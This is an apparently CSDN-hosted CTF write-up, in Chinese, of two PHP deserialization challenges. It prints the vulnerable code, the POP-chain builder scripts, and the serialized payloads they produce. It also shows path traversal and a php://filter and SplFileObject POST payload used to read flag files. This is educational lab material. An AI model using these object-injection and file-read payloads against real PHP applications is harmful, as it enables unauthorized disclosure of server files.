php反序列化

文章详细描述了一段PHP代码中的安全漏洞,涉及类的构造函数、魔术方法和反序列化操作。作者揭示了一个通过构造特定对象链来触发恶意文件读取的行为,展示了如何利用这些功能进行潜在的攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.[第五空间 2021]pklovecloud

进行代码审计

     <?php  
    include 'flag.php';
    class pkshow
    {  
        function echo_name()     
        {          
            return "Pk very safe^.^";      
        }  
    }
     
    class acp
    {   
        protected $cinder;  
        public $neutron;
        public $nova;
        function __construct()
        {      
            $this->cinder = new pkshow;
        }  
        function __toString()      
        {          
            if (isset($this->cinder))  
                return $this->cinder->echo_name();      
        }  
    }  
     
    class ace
    {    
        public $filename;     
        public $openstack;
        public $docker;
        function echo_name()      
        {   
            $this->openstack = unserialize($this->docker);
            $this->openstack->neutron = $heat;
            if($this->openstack->neutron === $this->openstack->nova)
            {
            $file = "./{$this->filename}";
                if (file_get_contents($file))         
                {              
                    return file_get_contents($file);
                }  
                else
                {
                    return "keystone lost~";
                }    
            }
        }  
    }  
     
    if (isset($_GET['pks']))  
    {
        $logData = unserialize($_GET['pks']);
        echo $logData;
    }
    else
    {
        highlight_file(__file__);
    }
    ?>

 包含flag.php文件,有三个类:

pkshow,echo_name这个函数

acp,cinder这个保护属性,neutron,nova这两个公有属性;construct,tostring这两个魔术方法。

ace,filename,openstack,docker这三个公有属性;echo_name这个函数。

一个if语句。

第一步找危险函数,找到ace下的echo_name函数,里面有file_get_contents这个读取函数,当filename='flag.php'时就会输出flag,但它要通过前面的这个强比较,

第二步,想要触发echo_name函数就必须触发toString魔术方法。

第三步,tostring函数的触发条件是把对象当成字符串调用,找到construct函数下的cinder。只用把cinder变成对象acp,那么给cinder赋值的时候就是把对象当成字符串调用,就可以触发tostring函数。

第四步,想要触发construct函数就必须实例化一个对象,可以令cinder=new ace(),这里为什么不是保存原来的cinder=new pkshow()呢?那是因为在执行tostring魔术方法时会触发echo_name,我们要触发的echo_name函数是ace这个类下面的,并不是pkshow这个类下面的,而函数想要触发就必须在这个类下面,所以改成new ace()后不会触发pkshow()里面的echo_name函数。

总结:

ace->echo_name

acp->tostring

acp->construct

接着就可以写代码,构造pop链,因为我们是反着分析的,构造pop链就要反过,先把construct过了。

    <?php  
    include 'flag.php';
    class pkshow
    {  
        function echo_name()     
        {          
            return "Pk very safe^.^";      
        }  
    }
     
    class acp
    {   
        protected $cinder;  
        public $neutron;
        public $nova;
        function __construct()
        {      
            $this->cinder = new ace;
     
    }  
    }
    class ace
    {    
        public $filename;     
        public $openstack;
        public $docker;
       
    }  
     
    $a=new acp();
    echo urlencode(serialize($a));
    ?>

 结果:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 get传参pks.

可以看到返回keystone lost~。返回代码看一下这个是怎么输出的。

     function echo_name()      
        {   
            $this->openstack = unserialize($this->docker);
            $this->openstack->neutron = $heat;
            if($this->openstack->neutron === $this->openstack->nova)
            {
            $file = "./{$this->filename}";
                if (file_get_contents($file))         
                {              
                    return file_get_contents($file);
                }  
                else
                {
                    return "keystone lost~";
                }    
            }
        }  

可以看到是强比较错误然后,返回刚刚那个的,说明我们已经到了ace下面的echo_name函数。然后在上面有$this->$openstack = unserialize($this->docker),因此只要我们使得$this->docker =null,然后让$this->filename=”flag.php”即可使得上面的判断成立,并且读取flag.php的内容;

$this->docker =null时unserialize($this->docker)为null,$openstack也为null

$this->openstack->neutron === $this->openstack->nova这个强比较就相当于两个null比较。所以就会执行file_get_contents函数,$this->filename=”flag.php”就可以读取flag,所以:

     <?php  
    include 'flag.php';
    class pkshow
    {  
        function echo_name()     
        {          
            return "Pk very safe^.^";      
        }  
    }
     
    class acp
    {   
        protected $cinder;  
        public $neutron;
        public $nova;
        function __construct()
        {      
            $this->cinder = new ace;
     
    }  
    }
    class ace
    {    
        public $filename="flag.php";     
        public $openstack;
        public $docker;
       
    }  
     
    $a=new acp();
    $b=new ace();
    $b->docker=" ";
    echo urlencode(serialize($a));
    ?>

 得到

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 传参看看

 执行了但什么都没有,看看源代码

 修改一下代码

     <?php  
    include 'flag.php';
    class pkshow
    {  
        function echo_name()     
        {          
            return "Pk very safe^.^";      
        }  
    }
     
    class acp
    {   
        protected $cinder;  
        public $neutron;
        public $nova;
        function __construct()
        {      
            $this->cinder = new ace;
     
    }  
    }
    class ace
    {    
        public $filename="nssctfasdasdflag";     
        public $openstack;
        public $docker;
       
    }  
     
    $a=new acp();
    $b=new ace();
    $b->docker=" ";
    echo urlencode(serialize($a));
    ?>

 结果:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

传参看看

但是不对,再改一下../nssctfasdasdflag,这个文件可能是下一级目录

     <?php  
    include 'flag.php';
    class pkshow
    {  
        function echo_name()     
        {          
            return "Pk very safe^.^";      
        }  
    }
     
    class acp
    {   
        protected $cinder;  
        public $neutron;
        public $nova;
        function __construct()
        {      
            $this->cinder = new ace;
     
    }  
    }
    class ace
    {    
        public $filename="../nssctfasdasdflag";     
        public $openstack;
        public $docker;
       
    }  
     
    $a=new acp();
    $b=new ace();
    $b->docker=" ";
    echo urlencode(serialize($a));
    ?>

 得到

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

传参后得到flag

 2.[GDOUCTF 2023]反方向的钟

    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    // flag.php
    class teacher{
        public $name;
        public $rank;
        private $salary;
        public function __construct($name,$rank,$salary = 10000){
            $this->name = $name;
            $this->rank = $rank;
            $this->salary = $salary;
        }
    }
     
    class classroom{
        public $name;
        public $leader;
        public function __construct($name,$leader){
            $this->name = $name;
            $this->leader = $leader;
        }
        public function hahaha(){
            if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
                return False;
            }
            else{
                return True;
            }
        }
    }
     
    class school{
        public $department;
        public $headmaster;
        public function __construct($department,$ceo){
            $this->department = $department;
            $this->headmaster = $ceo;
        }
        public function IPO(){
            if($this->headmaster == 'ong'){
                echo "Pretty Good ! Ctfer!\n";
                echo new $_POST['a']($_POST['b']);
            }
        }
        public function __wakeup(){
            if($this->department->hahaha()) {
                $this->IPO();
            }
        }
    }
     
    if(isset($_GET['d'])){
        unserialize(base64_decode($_GET['d']));
    }
    ?>

代码分析

有三个类

teacher:name,rank两个公有属性,salary一个私有属性;construct一个魔术方法。

classroom:name,leader两个公有属性,construct魔术方法,hahaha函数

 school:department,headmaster两个公有属性,construct,wakeup两个魔术方法,IPO函数

 最后if语句,如果存在get传参d,就会对传参的d进行base64解码再进行反序列化

第一步找危险函数:找到IPO函数,执行该函数可以进行POST传参,是否可以利用伪协议来读取flag,POST传参:

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

传参的a是默认读一行,后面的b是伪协议读取flag

headmaster == 'ong'这里要headmaster是ong

第二步,在wakeup函数下面可以执行IPO函数,所以只用触发wakeup函数

而wakeup函数是在反序列化前触发的,所以不用管,当你传参后就会触发该魔术方法

但是触发wakeup魔术方法后,它会触发hahaha函数,

该函数要返回true。!=是不等于符号,所以我们就让它们等于就可以返回true。

让$this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'

变成

$this->name == 'one class' or $this->leader->name == 'ing' or $this->leader->rank =='department'

所以就可以构造

    <?php
    class teacher{
        public $name;
        public $rank;
        private $salary;
    }
     
    class classroom{
        public $name;
        public $leader;
    }
     
    class school{
        public $department;
        public $headmaster;
    }
    $a=new school();
    $b=new classroom();
    $c=new teacher();
    $b->name="one class";
    $b->leader=$c;
    $c->name="ing";
    $c->rank="department";
    $a->department=$b;
    $a->headmaster="ong";
    echo base64_encode(serialize($a));
    ?>

得到

Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

传参看看

输出了Pretty Good ! Ctfer!。说明pop链正确,接着就要POST传参读取flag

得到base64编码,解码得到flag

总结:做php反序列化的题要注意对其他函数的使用。

 SplFileObject可以看下面

https://blog.csdn.net/weixin_39534780/article/details/115514259?ops_request_misc=&request_id=&biz_id=102&utm_term=SplFileObject&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-115514259.142^v100^pc_search_result_base9&spm=1018.2226.3001.4187

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值